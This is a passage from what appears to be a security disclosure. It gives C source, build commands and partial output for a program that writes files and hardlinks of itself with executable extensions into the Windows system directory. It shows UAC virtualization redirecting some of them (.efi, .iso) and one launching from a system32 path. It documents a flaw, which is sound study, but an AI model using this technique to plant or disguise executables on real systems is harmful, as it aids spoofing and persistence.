    // Copyright © 2009-2024, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #ifdef _WIN64
    #error Must be built as 32-bit console application!
    #endif
    
    #define _CRT_SECURE_NO_WARNINGS
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    __declspec(safebuffers)
    BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
    {
    	WCHAR	szOutput[1024];
    	DWORD	dwOutput;
    	DWORD	dwConsole;
    
    	va_list	vaInput;
    	va_start(vaInput, lpFormat);
    
    	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
    
    	va_end(vaInput);
    
    	if (dwOutput == 0)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwOutput;
    }
    
    const	LPCWSTR	szExtension[] = {L".acm", L".asa", L".asp", L".ax",  L".bat", L".chm", L".cmd", L".cnt", L".cnv", L".com", L".cpl",
    		                 L".crt", L".dll", L".drv", L".efi", L".exe", L".fon", L".hlp", L".hta", L".ime", L".inf", L".ins",
    		                 L".iso", L".isp", L".its", L".js",  L".jse", L".lnk", L".msc", L".msi", L".msp", L".mst", L".mui",
    		                 L".nls", L".ocx", L".pif", L".reg", L".scr", L".sct", L".shb", L".shs", L".sys", L".tlb", L".tmp",
    		                 L".tsp", L".ttf", L".url", L".vb",  L".vbe", L".vbs", L".wll", L".wsc", L".wsf", L".wsh", L".xll"};
    #ifndef ADS
    const	STARTUPINFO	si = {sizeof(si),
    			      (LPWSTR) NULL,
    			      (LPWSTR) NULL,
    			      (LPWSTR) NULL,
    			      0, 0, 0, 0,
    			      0, 0,
    			      0,
    			      STARTF_USESTDHANDLES,
    			      0,
    			      0,
    			      (LPBYTE) NULL,
    			      INVALID_HANDLE_VALUE,	// STDIN
    			      INVALID_HANDLE_VALUE,	// STDOUT
    			      INVALID_HANDLE_VALUE};	// STDERR
    #endif
    
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    #ifndef ADS
    	PROCESS_INFORMATION	pi;
    #endif
    	DWORD	dwModule;
    	WCHAR	szModule[MAX_PATH];
    	WCHAR	szOriginal[MAX_PATH];
    	DWORD	dwOriginal;
    	DWORD	dwExtension = 0;
    	DWORD	dwError = ERROR_SUCCESS;
    	DWORD	dwVirtual;
    	WCHAR	szVirtual[MAX_PATH];
    	HANDLE	hVirtual;
    	HANDLE	hConsole = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hConsole == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    	{
    		dwModule = GetModuleFileName((HMODULE) NULL, szModule, sizeof(szModule) / sizeof(*szModule));
    
    		if (dwModule == 0)
    			PrintConsole(hConsole,
    			             L"GetModuleFileName() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    		{
    			dwOriginal = GetSystemDirectory(szOriginal, sizeof(szOriginal) / sizeof(*szOriginal));
    
    			if (dwOriginal == 0)
    				PrintConsole(hConsole,
    				             L"GetSystemDirectory() returned error %lu\n",
    				             dwError = GetLastError());
    			else
    			{
    #ifndef ADS
    				wcscpy(szOriginal + dwOriginal, L"\\Quirk49");
    #else
    				wcscpy(szOriginal + dwOriginal, L":Quirk49");
    #endif
    				if (!CreateDirectory(szOriginal,
    				                     (LPSECURITY_ATTRIBUTES) NULL))
    					PrintConsole(hConsole,
    					             L"CreateDirectory() returned error %lu for directory \'%ls\'\n",
    					             dwError = GetLastError(), szOriginal);
    				else
    				{
    					dwVirtual = GetFileAttributes(szOriginal);
    
    					if (dwVirtual == INVALID_FILE_ATTRIBUTES)
    						PrintConsole(hConsole,
    						             L"GetFileAttributes() returned error %lu for directory \'%ls\'\n",
    						             dwError = GetLastError(), szOriginal);
    					else
    						if (dwVirtual & FILE_ATTRIBUTE_VIRTUAL)
    							PrintConsole(hConsole,
    							             L"Directory \'%ls\' has \'FILE_ATTRIBUTE_VIRTUAL\'\n",
    							             szOriginal);
    
    					if (!RemoveDirectory(szOriginal))
    						PrintConsole(hConsole,
    						             L"RemoveDirectory() returned error %lu for directory \'%ls\'\n",
    						             dwError = GetLastError(), szOriginal);
    				}
    
    				do
    				{
    					wcscpy(szOriginal + dwOriginal + sizeof("Quirk49"), szExtension[dwExtension]);
    
    					hVirtual = CreateFile(szOriginal,
    					                      FILE_WRITE_DATA,
    					                      FILE_SHARE_DELETE | FILE_SHARE_READ | FILE_SHARE_WRITE,
    					                      (LPSECURITY_ATTRIBUTES) NULL,
    					                      CREATE_ALWAYS,
    					                      FILE_ATTRIBUTE_NORMAL,
    					                      (HANDLE) NULL);
    
    					if (hVirtual == INVALID_HANDLE_VALUE)
    						PrintConsole(hConsole,
    						             L"CreateFile() returned error %lu for file \'%ls\'\n",
    						             dwError = GetLastError(), szOriginal);
    					else
    					{
    						dwVirtual = GetFileAttributes(szOriginal);
    
    						if (dwVirtual == INVALID_FILE_ATTRIBUTES)
    							PrintConsole(hConsole,
    							             L"GetFileAttributes() returned error %lu for file \'%ls\'\n",
    							             dwError = GetLastError(), szOriginal);
    						else
    							if (dwVirtual & FILE_ATTRIBUTE_VIRTUAL)
    								PrintConsole(hConsole,
    								             L"File \'%ls\' has \'FILE_ATTRIBUTE_VIRTUAL\'\n",
    								             szOriginal);
    
    						dwVirtual = GetFinalPathNameByHandle(hVirtual,
    						                                     szVirtual,
    						                                     sizeof(szVirtual) / sizeof(*szVirtual),
    						                                     FILE_NAME_NORMALIZED | VOLUME_NAME_DOS);
    
    						if (dwVirtual == 0)
    							PrintConsole(hConsole,
    							             L"GetFinalPathNameByHandle() returned error %lu for file \'%ls\'\n",
    							             dwError = GetLastError(), szOriginal);
    						else
    							PrintConsole(hConsole,
    							             L"File \'%ls\' is virtualized to \'%ls\'\n",
    							             szOriginal, szVirtual + 4);
    
    						if (!WriteFile(hVirtual,
    						               L"\xFEFF",	// UTF-16LE byte order mark
    						               sizeof(L'\xFEFF'),
    						               &dwVirtual,
    						               (LPOVERLAPPED) NULL))
    							PrintConsole(hConsole,
    							             L"WriteFile() returned error %lu for file \'%ls\'\n",
    							             dwError = GetLastError(), szOriginal);
    						else
    							if (dwVirtual != sizeof(L'\xFEFF'))
    								PrintConsole(hConsole,
    								             L"WriteFile() failed, %lu of %lu bytes written to file \'%ls\'\n",
    								             dwVirtual, sizeof(L'\xFEFF'), szOriginal);
    
    						if (!CloseHandle(hVirtual))
    							PrintConsole(hConsole,
    							             L"CloseHandle() returned error %lu for file \'%ls\'\n",
    							             dwError = GetLastError(), szOriginal);
    #ifndef ADS
    						if (!CreateProcess(szOriginal,
    						                   (LPWSTR) NULL,
    						                   (LPSECURITY_ATTRIBUTES) NULL,
    						                   (LPSECURITY_ATTRIBUTES) NULL,
    						                   TRUE,
    						                   CREATE_DEFAULT_ERROR_MODE | CREATE_NEW_CONSOLE | CREATE_PRESERVE_CODE_AUTHZ_LEVEL | CREATE_UNICODE_ENVIRONMENT,
    						                   L"",
    						                   (LPCWSTR) NULL,
    						                   &si,
    						                   &pi))
    							PrintConsole(hConsole,
    							             L"CreateProcess() returned error %lu for file \'%ls\'\n",
    							             dwError = GetLastError(), szOriginal);
    						else
    						{
    							PrintConsole(hConsole,
    							             L"File \'%ls\' started as process %lu with primary thread %lu\n",
    							             szOriginal, pi.dwProcessId, pi.dwThreadId);
    
    							if (!CloseHandle(pi.hThread))
    								PrintConsole(hConsole,
    								             L"CloseHandle() returned error %lu\n",
    								             dwError = GetLastError());
    
    							if (!CloseHandle(pi.hProcess))
    								PrintConsole(hConsole,
    								             L"CloseHandle() returned error %lu\n",
    								             dwError = GetLastError());
    						}
    
    						hVirtual = LoadLibrary(szOriginal);
    
    						if (hVirtual == NULL)
    							PrintConsole(hConsole,
    							             L"LoadLibrary() returned error %lu for file \'%ls\'\n",
    							             dwError = GetLastError(), szOriginal);
    						else
    						{
    							PrintConsole(hConsole,
    							             L"File \'%ls\' loaded at address 0x%p\n",
    							             szOriginal, hVirtual);
    
    							if (!FreeLibrary(hVirtual))
    								PrintConsole(hConsole,
    								             L"FreeLibrary() returned error %lu for file \'%ls\'\n",
    								             dwError = GetLastError(), szOriginal);
    							else
    								PrintConsole(hConsole,
    								             L"File \'%ls\' unloaded from 0x%p\n",
    								             szOriginal, hVirtual);
    						}
    #endif
    						if (!DeleteFile(szOriginal))
    							PrintConsole(hConsole,
    							             L"DeleteFile() returned error %lu for file \'%ls\'\n",
    							             dwError = GetLastError(), szOriginal);
    					}
    #ifndef ADS
    					if (!CreateHardLink(szOriginal,
    					                    szModule,
    					                    (LPSECURITY_ATTRIBUTES) NULL))
    						PrintConsole(hConsole,
    						             L"CreateHardLink() returned error %lu for hardlink \'%ls\'\n",
    						             dwError = GetLastError(), szOriginal);
    					else
    					{
    						dwVirtual = GetFileAttributes(szOriginal);
    
    						if (dwVirtual == INVALID_FILE_ATTRIBUTES)
    							PrintConsole(hConsole,
    							             L"GetFileAttributes() returned error %lu for hardlink \'%ls\'\n",
    							             dwError = GetLastError(), szOriginal);
    						else
    							if (dwVirtual & FILE_ATTRIBUTE_VIRTUAL)
    								PrintConsole(hConsole,
    								             L"Hardlink \'%ls\' has \'FILE_ATTRIBUTE_VIRTUAL\'\n",
    								             szOriginal);
    
    						if (!CreateProcess(szOriginal,
    						                   (LPWSTR) NULL,
    						                   (LPSECURITY_ATTRIBUTES) NULL,
    						                   (LPSECURITY_ATTRIBUTES) NULL,
    						                   TRUE,
    						                   CREATE_DEFAULT_ERROR_MODE | CREATE_NEW_CONSOLE | CREATE_PRESERVE_CODE_AUTHZ_LEVEL | CREATE_UNICODE_ENVIRONMENT,
    						                   L"",
    						                   (LPCWSTR) NULL,
    						                   &si,
    						                   &pi))
    							PrintConsole(hConsole,
    							             L"CreateProcess() returned error %lu for hardlink \'%ls\'\n",
    							             dwError = GetLastError(), szOriginal);
    						else
    						{
    							PrintConsole(hConsole,
    							             L"Hardlink \'%ls\' started as process %lu with primary thread %lu\n",
    							             szOriginal, pi.dwProcessId, pi.dwThreadId);
    
    							if (!CloseHandle(pi.hThread))
    								PrintConsole(hConsole,
    								             L"CloseHandle() returned error %lu\n",
    								             dwError = GetLastError());
    
    							if (!CloseHandle(pi.hProcess))
    								PrintConsole(hConsole,
    								             L"CloseHandle() returned error %lu\n",
    								             dwError = GetLastError());
    						}
    
    						hVirtual = LoadLibrary(szOriginal);
    
    						if (hVirtual == NULL)
    							PrintConsole(hConsole,
    							             L"LoadLibrary() returned error %lu for hardlink \'%ls\'\n",
    							             dwError = GetLastError(), szOriginal);
    						else
    						{
    							PrintConsole(hConsole,
    							             L"Hardlink \'%ls\' loaded at address 0x%p\n",
    							             szOriginal, hVirtual);
    
    							if (!FreeLibrary(hVirtual))
    								PrintConsole(hConsole,
    								             L"FreeLibrary() returned error %lu for hardlink \'%ls\'\n",
    								             dwError = GetLastError(), szOriginal);
    							else
    								PrintConsole(hConsole,
    								             L"File \'%ls\' unloaded from 0x%p\n",
    								             szOriginal, hVirtual);
    						}
    
    						if (!DeleteFile(szOriginal))
    							PrintConsole(hConsole,
    							             L"DeleteFile() returned error %lu for hardlink \'%ls\'\n",
    							             dwError = GetLastError(), szOriginal);
    					}
    #endif
    				}
    				while (++dwExtension < sizeof(szExtension) / sizeof(*szExtension));
    			}
    		}
    
    		if (!CloseHandle(hConsole))
    			PrintConsole(hConsole,
    			             L"CloseHandle() returned error %lu\n",
    			             GetLastError());
    	}
    
    	ExitProcess(dwError);
    }
    Note: the MSDN article File Attribute Constants documents FILE_ATTRIBUTE_VIRTUAL rather sparse:
    Constant/value Description
    FILE_ATTRIBUTE_VIRTUAL
    65536 (0x10000)
    This value is reserved for system use.
  2. Build the 32-bit console application quirk49.exe from the source file quirk49.c created in step 1.:

    SET CL=/GAFy /Oisy /W4 /Zl
    SET LINK=/DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /ENTRY:wmainCRTStartup /MACHINE:I386 /SUBSYSTEM:CONSOLE
    CL.EXE quirk49.c
    For details and reference see the MSDN articles Compiler Options and Linker Options.

    Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Note: quirk49.exe is a pure Win32 console application and builds without the MSVCRT libraries.

    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk49.c
    quirk49.c(197) : warning C4090: 'function' : different 'const' qualifiers
    quirk49.c(275) : warning C4090: 'function' : different 'const' qualifiers
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    /out:quirk49.exe
    quirk49.obj
  3. Execute the console application quirk49.exe built in step 2. to demonstrate the (mis)behaviour:

    .\quirk49.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    Directory 'C:\Windows\system32\Quirk49' has 'FILE_ATTRIBUTE_VIRTUAL'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.acm'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.acm'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.acm'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.acm'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.acm'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.asa'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.asa'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.asa'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.asa'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.asa'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.asp'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.asp'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.asp'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.asp'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.asp'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.ax'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.ax'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.ax'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.ax'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.ax'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.bat'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.bat'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.bat'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.bat'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.bat'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.chm'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.chm'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.chm'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.chm'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.chm'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.cmd'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.cmd'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.cmd'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.cmd'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.cmd'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.cnt'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.cnt'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.cnt'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.cnt'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.cnt'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.cnv'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.cnv'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.cnv'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.cnv'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.cnv'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.com'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.com'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.com'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.com'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.com'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.cpl'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.cpl'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.cpl'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.cpl'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.cpl'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.crt'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.crt'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.crt'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.crt'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.crt'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.dll'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.dll'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.dll'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.dll'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.dll'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.drv'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.drv'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.drv'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.drv'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.drv'
    File 'C:\Windows\system32\Quirk49.efi' has 'FILE_ATTRIBUTE_VIRTUAL'
    File 'C:\Windows\system32\Quirk49.efi' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\SysWOW64\Quirk49.efi'
    CreateProcess() returned error 193 for file 'C:\Windows\system32\Quirk49.efi'
    LoadLibrary() returned error 193 for file 'C:\Windows\system32\Quirk49.efi'
    Hardlink 'C:\Windows\system32\Quirk49.efi' has 'FILE_ATTRIBUTE_VIRTUAL'
    Hardlink 'C:\Windows\system32\Quirk49.efi' started as process 7800 with primary thread 13080
    LoadLibrary() returned error 193 for hardlink 'C:\Windows\system32\Quirk49.efi'
    DeleteFile() returned error 5 for hardlink 'C:\Windows\system32\Quirk49.efi'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.exe'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.exe'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.exe'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.exe'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.exe'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.fon'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.fon'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.fon'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.fon'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.fon'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.hlp'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.hlp'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.hlp'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.hlp'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.hlp'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.hta'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.hta'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.hta'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.hta'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.hta'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.ime'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.ime'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.ime'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.ime'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.ime'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.inf'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.inf'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.inf'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.inf'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.inf'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.ins'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.ins'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.ins'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.ins'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.ins'
    File 'C:\Windows\system32\Quirk49.iso' has 'FILE_ATTRIBUTE_VIRTUAL'
    File 'C:\Windows\system32\Quirk49.iso' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\SysWOW64\Quirk49.iso'
    CreateProcess() returned error 193 for file 'C:\Windows\system32\Quirk49.iso'
    LoadLibrary() returned error 193 for file 'C:\Windows\system32\Quirk49.iso'
    Hardlink 'C:\Windows\system32\Quirk49.iso' has 'FILE_ATTRIBUTE_VIRTUAL'
    Hardlink 'C:\Windows\system32\Quirk49.iso' started as process 11284 with primary thread 4168
    LoadLibrary() returned error 193 for hardlink 'C:\Windows\system32\Quirk49.iso'
    DeleteFile() returned error 5 for hardlink 'C:\Windows\system32\Quirk49.iso'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.isp'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.isp'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.isp'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.isp'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.isp'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.its'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.its'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.its'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.its'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.its'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.js'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.js'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.js'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.js'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.js'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.jse'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.jse'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.jse'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.jse'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.jse'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.lnk'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.lnk'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.lnk'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.lnk'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.lnk'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.msc'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.msc'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.msc'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.msc'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.msc'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.msi'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.msi'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.msi'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.msi'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.msi'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.msp'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.msp'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.msp'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.msp'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.msp'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.mst'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.mst'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.mst'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.mst'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.mst'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.mui'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.mui'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.mui'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.mui'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.mui'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.nls'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.nls'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.nls'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.nls'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.nls'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.ocx'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.ocx'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.ocx'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.ocx'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.ocx'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.pif'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.pif'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.pif'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.pif'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.pif'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.reg'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.reg'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.reg'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.reg'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.reg'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.scr'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.scr'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.scr'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.scr'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.scr'
    CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.sct'
    GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.sct'
    CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.sct'
    LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.sct'
    DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.sct'
